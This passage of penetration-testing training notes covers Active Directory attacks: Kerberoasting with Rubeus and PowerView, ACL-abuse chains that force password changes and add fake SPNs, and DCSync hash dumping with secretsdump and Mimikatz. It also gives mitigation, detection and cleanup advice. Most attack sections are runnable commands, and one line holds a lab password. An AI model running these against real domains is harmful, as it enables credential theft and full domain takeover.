e6fbe309dde3b78305fdf0fe60505f9000b89c67c75ef6dd425e04fbe3a5ebf2d78a11a392d815a29ef48d9457fb6c780eb4cc07dfa68c2e97054788952f5ad92ca8d062e4a68967860302fd9630174af832e599bb5fca9cf341d7a1176868d9073796dffbd48efe99b222f4274e93066de646b3c60d1dd94072dd121dd0706024d11738a75ebeb5b7865a5505220d0f03aea6d359a17f3c5b6424989b31b6e52d1c558393aa34e81204fb107374a8884dcb16f6c59a76a0022004fd921734b8719e8694ba0d7f87eb46f5607af4eb1c681b6b5140dbc94a9ea7f5db6ae4c71fbc1024a25b77ac00bdc549d66373d390643be8f1007930a4124e99d4fcb6177dbd5669fb06170d3b8a75db9928164b55e454d08e77f917b1dd2e648d9c7eb0cb2b8ca0eff8a44d1ea5fdd67e01da79047a4a1406f761f5e3b6944cebed45379ea14e7a027c843fa405c07c8385a2102f07967a7cb4883f44ee72d4aa7a38b2701e77374016a01193f5b178e34f4cf2d8eadf651e162569eb421c74e8d5e0cc1a9fab58a4b9b63babb09efc3427e1667f9c7731bcabe3645986040a7306924df5e6e68655e7b0e2e88e7ce0281e0f554de82d9de6c4d9c8d2a36fce65bbb337a415030ce1d03c00fd9783afb5df0ee8fbabfa358521ad845e6d07fde7d34f2311ebae6e6a119d60d899467a66f997c273d2df73350f2d6c5438e71a057feeab ``` We can then run the ticket through Hashcat **Cracking the Hash with Hashcat** ```bash hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt ``` ### Automated / Tool Based Route Next, we'll cover two much quicker ways to perform Kerberoasting from a Windows host. First, let's use [PowerView](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1) to extract the TGS tickets and convert them to Hashcat format. We can start by enumerating SPN accounts. **Using PowerView to Extract TGS Tickets** ```powershell Import-Module .\PowerView.ps1 Get-DomainUser * -spn | select samaccountname ``` From here, we could target a specific user and retrieve the TGS ticket in Hashcat format. ```powershell Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat ``` Finally, we can export all tickets to a CSV file for offline processing. **Exporting All Tickets to a CSV File** ```powershell Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformation ``` **Viewing the Contents of the .CSV File** ```powershell cat .\ilfreight_tgs.csv ``` We can also use [Rubeus](https://github.com/GhostPack/Rubeus) from GhostPack to perform Kerberoasting even faster and easier. Rubeus provides us with a variety of options for performing Kerberoasting. ```powershell .\Rubeus.exe Roasting: Perform Kerberoasting: Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap] Perform Kerberoasting, outputting hashes to a file: Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] Perform Kerberoasting, outputting hashes in the file output format, but to the console: Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap] Perform Kerberoasting with alternate credentials: Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap] Perform Kerberoasting with an existing TGT: Rubeus.exe kerberoast [/nowrap] Perform Kerberoasting with an existing TGT using an enterprise principal: Rubeus.exe kerberoast /enterprise [/nowrap] Perform Kerberoasting with an existing TGT and automatically retry with the enterprise principal if any fail: Rubeus.exe kerberoast /autoenterprise [/ldaps] [/nowrap] Perform Kerberoasting using the tgtdeleg ticket to request service tickets - requests RC4 for AES accounts: Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap] Perform "opsec" Kerberoasting, using tgtdeleg, and filtering out AES-enabled accounts: Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap] List statistics about found Kerberoastable accounts without actually sending ticket requests: Rubeus.exe kerberoast /stats [/ldaps] [/nowrap] Perform Kerberoasting, requesting tickets only for accounts with an admin count of 1 (custom LDAP filter): Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap] Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets: Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap] Perform Kerberoasting, with a delay of 5000 milliseconds and a jitter of 30%: Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap] Perform AES Kerberoasting: Rubeus.exe kerberoast /aes [/ldaps] [/nowrap] ``` Some options include: * Performing Kerberoasting and outputting hashes to a file * Using alternate credentials * Performing Kerberoasting combined with a pass-the-ticket attack * Performing "opsec" Kerberoasting to filter out AES-enabled accounts * Requesting tickets for accounts passwords set between a specific date range * Placing a limit on the number of tickets requested * Performing AES Kerberoasting We can first use Rubeus to gather some stats. From the output below, we can see that there are nine Kerberoastable users, seven of which support RC4 encryption for ticket requests and two of which support AES 128/256. More on encryption types later. We also see that all nine accounts had their password set this year (2022 at the time of writing). If we saw any SPN accounts with their passwords set 5 or more years ago, they could be promising targets as they could have a weak password that was set and never changed when the organization was less mature. ```powershell .\Rubeus.exe kerberoast /stats ``` Let's use Rubeus to request tickets for accounts with the `admincount` attribute set to `1`. Be sure to specify the `/nowrap` flag so that the hash can be more easily copied down for offline cracking using Hashcat. ```powershell .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap ``` ### A Note on Encryption Types Kerberoasting tools typically request `RC4 encryption` when performing the attack and initiating TGS-REQ requests. This is because RC4 is [weaker](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) and easier to crack offline using tools such as Hashcat than other encryption algorithms such as AES-128 and AES-256. When performing Kerberoasting in most environments, we will retrieve hashes that begin with `$krb5tgs$23$*`, an RC4 (type 23) encrypted ticket. Sometimes we will receive an AES-256 (type 18) encrypted hash or hash that begins with `$krb5tgs$18$*`. While it is possible to crack AES-128 (type 17) and AES-256 (type 18) TGS tickets using [Hashcat](https://github.com/hashcat/hashcat/pull/1955), it will typically be significantly more time consuming than cracking an RC4 (type 23) encrypted ticket, but still possible especially if a weak password is chosen. Let's walk through an example. **Checking Supported Encryption Types** ```powershell Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes ``` AES-256 (type 18): `Kerberos 5, etype 18, TGS-REP (AES256-CTS-HMAC-SHA1-96)` ```bash hashcat -m 19700 aes_to_crack /usr/share/wordlists/rockyou.txt ``` We can use Rubeus with the `/tgtdeleg` flag to specify that we want only RC4 encryption when requesting a new service ticket. {% hint style="info" %} This does not work against a Windows Server 2019 Domain Controller, regardless of the domain functional level. It will always return a service ticket encrypted with the highest level of encryption supported by the target account. This being said, if we find ourselves in a domain with Domain Controllers running on Server 2016 or earlier (which is quite common), enabling AES will not partially mitigate Kerberoasting by only returning AES encrypted tickets, which are much more difficult to crack, but rather will allow an attacker to request an RC4 encrypted service ticket. In Windows Server 2019 DCs, enabling AES encryption on an SPN account will result in us receiving an AES-256 (type 18) service ticket, which is substantially more difficult (but not impossible) to crack, especially if a relatively weak dictionary password is in use. {% endhint %} It is possible to edit the encryption types used by Kerberos. This can be done by opening Group Policy, editing the Default Domain Policy, and choosing: `Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options`, then double-clicking on `Network security: Configure encryption types allowed for Kerberos` and selecting the desired encryption type allowed for Kerberos. ### Mitigation & Detection An important mitigation for non-managed service accounts is to set a long and complex password or passphrase that does not appear in any word list and would take far too long to crack. However, it is recommended to use [Managed Service Accounts (MSA)](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/managed-service-accounts-understanding-implementing-best/ba-p/397009), and [Group Managed Service Accounts (gMSA)](https://docs.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview), which use very complex passwords, and automatically rotate on a set interval (like machine accounts) or accounts set up with LAPS. When Kerberoasting is occurring in the environment, we will see an abnormal number of `TGS-REQ` and `TGS-REP` requests and responses, signaling the use of automated Kerberoasting tools. Domain controllers can be configured to log Kerberos TGS ticket requests by selecting [Audit Kerberos Service Ticket Operations](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-kerberos-service-ticket-operations) within Group Policy.
Doing so will generate two separate event IDs: [4769](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4769): A Kerberos service ticket was requested, and [4770](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4770): A Kerberos service ticket was renewed. 10-20 Kerberos TGS requests for a given account can be considered normal in a given environment. A large amount of 4769 event IDs from one account within a short period may indicate an attack. Some other remediation steps include restricting the use of the RC4 algorithm, particularly for Kerberos requests by service accounts. This must be tested to make sure nothing breaks within the environment. Furthermore, Domain Admins and other highly privileged accounts should not be used as SPN accounts (if SPN accounts must exist in the environment). ## Targeted kerberoasting ### Find account that can perform targeted kerberoasting In bloodhound ``` MATCH p=(u:User)-[:GenericAll|GenericWrite|WriteProperty|WriteSPN]->(g:User) return p ``` {% embed url="" %} ``` python3 targetedKerberoast.py -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' ``` # Access Control List (ACL) ## Access Control List (ACL) Abuse Primer For security reasons, not all users and computers in an AD environment can access all objects and files. These types of permissions are controlled through Access Control Lists (ACLs). Posing a serious threat to the security posture of the domain, a slight misconfiguration to an ACL can leak permissions to other objects that do not need it. ### Access Control List (ACL) Overview In their simplest form, ACLs are lists that define a) who has access to which asset/resource and b) the level of access they are provisioned. The settings themselves in an ACL are called `Access Control Entries` (`ACEs`) Each ACE maps back to a user, group, or process (also known as security principals) and defines the rights granted to that principal. Every object has an ACL, but can have multiple ACEs because multiple security principals can access objects in AD. ACLs can also be used for auditing access within AD. There are two types of ACLs: 1. `Discretionary Access Control List` (`DACL`) - defines which security principals are granted or denied access to an object. DACLs are made up of ACEs that either allow or deny access. When someone attempts to access an object, the system will check the DACL for the level of access that is permitted. If a DACL does not exist for an object, all who attempt to access the object are granted full rights. If a DACL exists, but does not have any ACE entries specifying specific security settings, the system will deny access to all users, groups, or processes attempting to access it. 2. `System Access Control Lists` (`SACL`) - allow administrators to log access attempts made to secured objects. We see the ACL for the user account `forend` in the image below. Each item under `Permission entries` makes up the `DACL` for the user account, while the individual entries (such as `Full Control` or `Change Password`) are ACE entries showing rights granted over this user object to various users and groups. **Viewing forend's ACL**
**Viewing the SACLs through the Auditing Tab**
### Access Control Entries (ACEs) As stated previously, Access Control Lists (ACLs) contain ACE entries that name a user or group and the level of access they have over a given securable object. There are `three` main types of ACEs that can be applied to all securable objects in AD:
ACEDescription
Access denied ACEUsed within a DACL to show that a user or group is explicitly denied access to an object
Access allowed ACEUsed within a DACL to show that a user or group is explicitly granted access to an object
System audit ACEUsed within a SACL to generate audit logs when a user or group attempts to access an object. It records whether access was granted or not and what type of access occurred
Each ACE is made up of the following `four` components: 1. The security identifier (SID) of the user/group that has access to the object (or principal name graphically) 2. A flag denoting the type of ACE (access denied, allowed, or system audit ACE) 3. A set of flags that specify whether or not child containers/objects can inherit the given ACE entry from the primary or parent object 4. An [access mask](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b?redirectedfrom=MSDN) which is a 32-bit value that defines the rights granted to an object When access control lists are checked to determine permissions, they are checked from top to bottom until an access denied is found in the list. ### Why are ACEs Important? Attackers utilize ACE entries to either further access or establish persistence. These can be great for us as penetration testers as many organizations are unaware of the ACEs applied to each object or the impact that these can have if applied incorrectly. They cannot be detected by vulnerability scanning tools, and often go unchecked for many years, especially in large and complex environments. Some example Active Directory object security permissions are as follows. These can be enumerated (and visualized) using a tool such as BloodHound, and are all abusable with PowerView, among other tools: * `ForceChangePassword` abused with `Set-DomainUserPassword` * `Add Members` abused with `Add-DomainGroupMember` * `GenericAll` abused with `Set-DomainUserPassword` or `Add-DomainGroupMember` * `GenericWrite` abused with `Set-DomainObject` * `WriteOwner` abused with `Set-DomainObjectOwner` * `WriteDACL` abused with `Add-DomainObjectACL` * `AllExtendedRights` abused with `Set-DomainUserPassword` or `Add-DomainGroupMember` * `Addself` abused with `Add-DomainGroupMember` This graphic, adapted from a graphic created by [Charlie Bromberg (Shutdown)](https://twitter.com/_nwodtuhs), shows an excellent breakdown of the varying possible ACE attacks and the tools to perform these attacks from both Windows and Linux (if applicable).
We will run into many other interesting ACEs (privileges) in Active Directory from time to time. The methodology for enumerating possible ACL attacks using tools such as BloodHound and PowerView and even built-in AD management tools should be adaptable enough to assist us whenever we encounter new privileges in the wild that we may not yet be familiar with. For example, we may import data into BloodHound and see that a user we have control over (or can potentially take over) has the rights to read the password for a Group Managed Service Account (gMSA) through the [ReadGMSAPassword](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#readgmsapassword) edge. In this case, there are tools such as [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader) that we could use, along with other methods, to obtain the password for the service account in question. Other times we may come across extended rights such as [Unexpire-Password](https://learn.microsoft.com/en-us/windows/win32/adschema/r-unexpire-password) or [Reanimate-Tombstones](https://learn.microsoft.com/en-us/windows/win32/adschema/r-reanimate-tombstones) using PowerView and have to do a bit of research to figure out how to exploit these for our benefit. It's worth familiarizing yourself with all of the [BloodHound edges](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html) and as many Active Directory [Extended Rights](https://learn.microsoft.com/en-us/windows/win32/adschema/extended-rights) as possible as you never know when you may encounter a less common one during an assessment. ### ACL Attacks in the Wild We can use ACL attacks for: * Lateral movement * Privilege escalation * Persistence Some common attack scenarios may include:
AttackDescription
Abusing forgot password permissionsHelp Desk and other IT users are often granted permissions to perform password resets and other privileged tasks. If we can take over an account with these privileges (or an account in a group that confers these privileges on its users), we may be able to perform a password reset for a more privileged account in the domain.
Abusing group membership managementIt's also common to see Help Desk and other staff that have the right to add/remove users from a given group. It is always worth enumerating this further, as sometimes we may be able to add an account that we control into a privileged built-in AD group or a group that grants us some sort of interesting privilege.
Excessive user rightsWe also commonly see user, computer, and group objects with excessive rights that a client is likely unaware of. This could occur after some sort of software install (Exchange, for example, adds many ACL changes into the environment at install time) or some kind of legacy or accidental configuration that gives a user unintended rights. Sometimes we may take over an account that was given certain rights out of convenience or to solve a nagging problem more quickly.
There are many other possible attack scenarios in the world of Active Directory ACLs, but these three are the most common. We will cover enumerating these rights in various ways, performing the attacks, and cleaning up after ourselves. {% hint style="warning" %} Some ACL attacks can be considered "destructive," such as changing a user's password or performing other modifications within a client's AD domain. If in doubt, it's always best to run a given attack by our client before performing it to have written documentation of their approval in case an issue arises. We should always carefully document our attacks from start to finish and revert any changes. This data should be included in our report, but we should also highlight any changes we make clearly so that the client can go back and verify that our changes were indeed reverted properly. {% endhint %} ## ACL Enumeration ### Enumerating ACLs with PowerView ```powershell Import-Module .\PowerView.ps1 ``` **Using Find-InterestingDomainAcl** ```powershell Find-InterestingDomainAcl ``` If we try to dig through all of this data during a time-boxed assessment, we will likely never get through it all or find anything interesting before the assessment is over. Now, there is a way to use a tool such as PowerView more effectively -- by performing targeted enumeration starting with a user that we have control over. We first need to get the SID of our target user to search effectively. ```powershell $sid = Convert-NameToSid ``` We can then use the `Get-DomainObjectACL` function to perform our targeted search. In the below example, we are using this function to find all domain objects that our user has rights over by mapping the user's SID using the `$sid` variable to the `SecurityIdentifier` property which is what tells us *who* has the given right over an object. One important thing to note is that if we search without the flag `ResolveGUIDs`, we will see results like the below, where the right `ExtendedRight` does not give us a clear picture. This is because the `ObjectAceType` property is returning a GUID value that is not human readable. Note that this command will take a while to run, especially in a large environment. **Using Get-DomainObjectACL** ```powershell Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid} ``` We could Google for the GUID value `00299570-246d-11d0-a768-00aa006e0529` and uncover [this](https://docs.microsoft.com/en-us/windows/win32/adschema/r-user-force-change-password) page showing that the user has the right to force change the other user's password. Alternatively, we could do a reverse search using PowerShell to map the right name back to the GUID value. **Performing a Reverse Search & Mapping to a GUID Value** ```powershell $guid= "00299570-246d-11d0-a768-00aa006e0529" Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * |Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq $guid} | fl ``` This gave us our answer, but would be highly inefficient during an assessment. PowerView has the `ResolveGUIDs` flag, which does this very thing for us. Notice how the output changes when we include this flag to show the human-readable format of the `ObjectAceType` property as `User-Force-Change-Password`. **Using the -ResolveGUIDs Flag** ```powershell Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} ``` It is essential that we understand what our tools are doing and have alternative methods in our toolkit in case a tool fails or is blocked. Before moving on, let's take a quick look at how we could do this using the [Get-Acl](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl?view=powershell-7.2) and [Get-ADUser](https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-aduser?view=windowsserver2022-ps) cmdlets which we may find available to us on a client system. Knowing how to perform this type of search without using a tool such as PowerView is greatly beneficial and could set us apart from our peers. We may be able to use this knowledge to achieve results when a client has us work from one of their systems, and we are restricted down to what tools are readily available on the system without the ability to pull in any of our own. **Creating a List of Domain Users** ```powershell Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt ``` We then read each line of the file using a `foreach` loop, and use the `Get-Acl` cmdlet to retrieve ACL information for each domain user by feeding each line of the `ad_users.txt` file to the `Get-ADUser` cmdlet. We then select just the `Access property`, which will give us information about access rights. Finally, we set the `IdentityReference` property to the user we are in control of (or looking to see what rights they have), in our case, `wley`. **A Useful foreach Loop** ```powershell foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {get-acl "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}} ``` Once we have this data, we could follow the same methods shown above to convert the GUID to a human-readable format to understand what rights we have over the target user. So, to recap, we started with the user `wley` and now have control over the user `damundsen` via the `User-Force-Change-Password` extended right. Let's use Powerview to hunt for where, if anywhere, control over the `damundsen` account could take us. **Further Enumeration of Rights Using damundsen** ```powershell $sid2 = Convert-NameToSid damundsen Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid2} -Verbose ``` **Investigating Group inheritance** ```powershell Get-DomainGroup -Identity "Help Desk Level 1" | select memberof ``` **Investigating the Information Technology Group** ```powershell $itgroupsid = Convert-NameToSid "Information Technology" Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $itgroupsid} -Verbose ``` **Looking for Interesting Access From User** ```powershell $adunnsid = Convert-NameToSid adunn Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $adunnsid} -Verbose ``` The output (for example) shows that our `adunn` user has `DS-Replication-Get-Changes` and `DS-Replication-Get-Changes-In-Filtered-Set` rights over the domain object. This means that this user can be leveraged to perform a DCSync attack. We will cover this attack in-depth in the `DCSync` section. #### SID to Username ```powershell Get-Aduser -identity SID ``` ### Enumerating ACLs with BloodHound Let's take the data we gathered earlier with the SharpHound ingestor and upload it to BloodHound. Next, we can set the `wley` user as our starting node, select the `Node Info` tab and scroll down to `Outbound Control Rights`. If we click on the `1` next to `First Degree Object Control`, we see the first set of rights that we enumerated, `ForceChangePassword` over the `damundsen` user. If we right-click on the line between the two objects, a menu will pop up. If we select `Help`, we will be presented with help around abusing this ACE, including: * More info on the specific right, tools, and commands that can be used to pull off this attack * Operational Security (Opsec) considerations * External references. **Investigating ForceChangePassword Further** If we click on the `16` next to `Transitive Object Control`, we will see the entire path that we painstakingly enumerated above. Finally, we can use the pre-built queries in BloodHound to confirm that the `adunn` user has DCSync rights. ## ACL Abuse Tactics ### Example Scenario Once again, to recap where we are and where we want to get to. We are in control of the `wley` user whose NTLMv2 hash we retrieved by running Responder earlier in the assessment. Lucky for us, this user was using a weak password, and we were able to crack the hash offline using Hashcat and retrieve the cleartext value. We know that we can use this access to kick off an attack chain that will result in us taking control of the `adunn` user who can perform the DCSync attack, which would give us full control of the domain by allowing us to retrieve the NTLM password hashes for all users in the domain and escalate privileges to Domain/Enterprise Admin and even achieve persistence. To perform the attack chain, we have to do the following: 1. Use the `wley` user to change the password for the `damundsen` user 2. Authenticate as the `damundsen` user and leverage `GenericWrite` rights to add a user that we control to the `Help Desk Level 1` group 3. Take advantage of nested group membership in the `Information Technology` group and leverage `GenericAll` rights to take control of the `adunn` user **Creating a PSCredential Object** ```powershell $SecPassword = ConvertTo-SecureString '' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword) ``` Next, we must create a [SecureString object](https://docs.microsoft.com/en-us/dotnet/api/system.security.securestring?view=net-6.0) which represents the password we want to set for the target user `damundsen`. **Creating a SecureString Object** ```powershell $damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force ``` Finally, we'll use the [Set-DomainUserPassword](https://powersploit.readthedocs.io/en/latest/Recon/Set-DomainUserPassword/) PowerView function to change the user's password. We need to use the `-Credential` flag with the credential object we created for the `wley` user. It's best to always specify the `-Verbose` flag to get feedback on the command completing as expected or as much information about errors as possible. We could do this from a Linux attack host using a tool such as `pth-net`, which is part of the [pth-toolkit](https://github.com/byt3bl33d3r/pth-toolkit). **Changing the User's Password** ```powershell Import-Module .\PowerView.ps1 Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose ``` Next, we need to perform a similar process to authenticate as the `damundsen` user and add ourselves to the `Help Desk Level 1` group. ```powershell $SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force $Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword) ``` Next, we can use the [Add-DomainGroupMember](https://powersploit.readthedocs.io/en/latest/Recon/Add-DomainGroupMember/) function to add ourselves to the target group. We can first confirm that our user is not a member of the target group. This could also be done from a Linux host using the `pth-toolkit`. **Adding damundsen to the Help Desk Level 1 Group** ```powershell Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose ``` **Confirming damundsen was Added to the Group** ```powershell Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName ``` At this point, we should be able to leverage our new group membership to take control over the `adunn` user. Now, let's say that our client permitted us to change the password of the `damundsen` user, but the `adunn` user is an admin account that cannot be interrupted. Since we have `GenericAll` rights over this account, we can have even more fun and perform a targeted Kerberoasting attack by modifying the account's [servicePrincipalName attribute](https://docs.microsoft.com/en-us/windows/win32/adschema/a-serviceprincipalname) to create a fake SPN that we can then Kerberoast to obtain the TGS ticket and (hopefully) crack the hash offline using Hashcat. We must be authenticated as a member of the `Information Technology` group for this to be successful. Since we added `damundsen` to the `Help Desk Level 1` group, we inherited rights via nested group membership. We can now use [Set-DomainObject](https://powersploit.readthedocs.io/en/latest/Recon/Set-DomainObject/) to create the fake SPN. We could use the tool [targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast) to perform this same attack from a Linux host, and it will create a temporary SPN, retrieve the hash, and delete the temporary SPN all in one command. **Creating a Fake SPN** ```powershell Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose ``` **Kerberoasting with Rubeus** ```powershell .\Rubeus.exe kerberoast /user:adunn /nowrap ``` Great! We have successfully obtained the hash. The last step is to attempt to crack the password offline using Hashcat. Once we have the cleartext password, we could now authenticate as the `adunn` user and perform the DCSync attack, which we will cover in the next section. ### Cleanup In terms of cleanup, there are a few things we need to do: 1. Remove the fake SPN we created on the `adunn` user. 2. Remove the `damundsen` user from the `Help Desk Level 1` group 3. Set the password for the `damundsen` user back to its original value (if we know it) or have our client set it/alert the user This order is important because if we remove the user from the group first, then we won't have the rights to remove the fake SPN. **Removing the Fake SPN from adunn's Account** ```powershell Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose ``` **Removing damundsen from the Help Desk Level 1 Group** ```powershell Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose ``` **Confirming damundsen was Removed from the Group** ```powershell Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName |? {$_.MemberName -eq 'damundsen'} -Verbose ``` ### Detection and Remediation A few recommendations around ACLs include: 1. `Auditing for and removing dangerous ACLs` 2. `Monitor group membership` 3. `Audit and monitor for ACL changes` Enabling the [Advanced Security Audit Policy](https://docs.microsoft.com/en-us/archive/blogs/canitpro/step-by-step-enabling-advanced-security-audit-policy-via-ds-access) can help in detecting unwanted changes, especially [Event ID 5136: A directory service object was modified](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136) which would indicate that the domain object was modified, which could be indicative of an ACL attack. ## DCSync Let's dig deeper into this attack and go through examples of leveraging it for full domain compromise from both a Linux and a Windows attack host. ### What is DCSync and How Does it Work? DCSync is a technique for stealing the Active Directory password database by using the built-in `Directory Replication Service Remote Protocol`, which is used by Domain Controllers to replicate domain data. This allows an attacker to mimic a Domain Controller to retrieve user NTLM password hashes. The crux of the attack is requesting a Domain Controller to replicate passwords via the `DS-Replication-Get-Changes-All` extended right. This is an extended access control right within AD, which allows for the replication of secret data. To perform this attack, you must have control over an account that has the rights to perform domain replication (a user with the Replicating Directory Changes and Replicating Directory Changes All permissions set). Domain/Enterprise Admins and default domain administrators have this right by default.
**Using Get-ObjectAcl to Check adunn's Replication Rights** ```powershell $sid= "S-1-5-21-3842939050-3880317879-2865463114-1164" Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} |select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl ``` If we had certain rights over the user (such as [WriteDacl](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#writedacl)), we could also add this privilege to a user under our control, execute the DCSync attack, and then remove the privileges to attempt to cover our tracks. DCSync replication can be performed using tools such as Mimikatz, Invoke-DCSync, and Impacket’s secretsdump.py. Running the tool as below will write all hashes to files with the prefix `inlanefreight_hashes`. The `-just-dc` flag tells the tool to extract NTLM hashes and Kerberos keys from the NTDS file. **Extracting NTLM Hashes and Kerberos Keys Using secretsdump.py (from Linux)** ```bash secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5 ``` We can use the `-just-dc-ntlm` flag if we only want NTLM hashes or specify `-just-dc-user ` to only extract data for a specific user. Other useful options include `-pwd-last-set` to see when each account's password was last changed and `-history` if we want to dump password history, which may be helpful for offline password cracking or as supplemental data on domain password strength metrics for our client. The `-user-status` is another helpful flag to check and see if a user is disabled. We can dump the NTDS data with this flag and then filter out disabled users when providing our client with password cracking statistics to ensure that data such as: * Number and % of passwords cracked * top 10 passwords * Password length metrics * Password re-use reflect only active user accounts in the domain. If we check the files created using the `-just-dc` flag, we will see that there are three: one containing the NTLM hashes, one containing Kerberos keys, and one that would contain cleartext passwords from the NTDS for any accounts set with [reversible encryption](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) enabled. **Viewing an Account with Reversible Encryption Password Storage Set**
When this option is set on a user account, it does not mean that the passwords are stored in cleartext. Instead, they are stored using RC4 encryption. The trick here is that the key needed to decrypt them is stored in the registry (the [Syskey](https://docs.microsoft.com/en-us/windows-server/security/kerberos/system-key-utility-technical-overview)) and can be extracted by a Domain Admin or equivalent. Any passwords set on accounts with this setting enabled will be stored using reversible encryption until they are changed. We can enumerate this using the `Get-ADUser` cmdlet: **Enumerating Further using Get-ADUser** ```powershell Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl ``` We can see that one account, `proxyagent`, has the reversible encryption option set with PowerView as well: **Checking for Reversible Encryption Option using Get-DomainUser** ```powershell Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol ``` We can perform the attack with Mimikatz as well. Using Mimikatz, we must target a specific user. Here we will target the built-in administrator account. We could also target the `krbtgt` account and use this to create a `Golden Ticket` for persistence, but that is outside the scope of this module. Also it is important to note that Mimikatz must be ran in the context of the user who has DCSync privileges. We can utilize `runas.exe` to accomplish this: **Using runas.exe** ```batch runas /netonly /user:INLANEFREIGHT\adunn powershell ``` **Performing the Attack with Mimikatz** ```powershell .\mimikatz.exe privilege::debug lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator ``` # Advanced Privilege Escalation in Active Directory: Stacking The Deck `what if we don't yet have local admin rights on any hosts in the domain?` There are several other ways we can move around a Windows domain: * `Remote Desktop Protocol` (`RDP`) - is a remote access/management protocol that gives us GUI access to a target host * [PowerShell Remoting](https://docs.microsoft.com/en-us/powershell/scripting/learn/ps101/08-powershell-remoting?view=powershell-7.2) - also referred to as 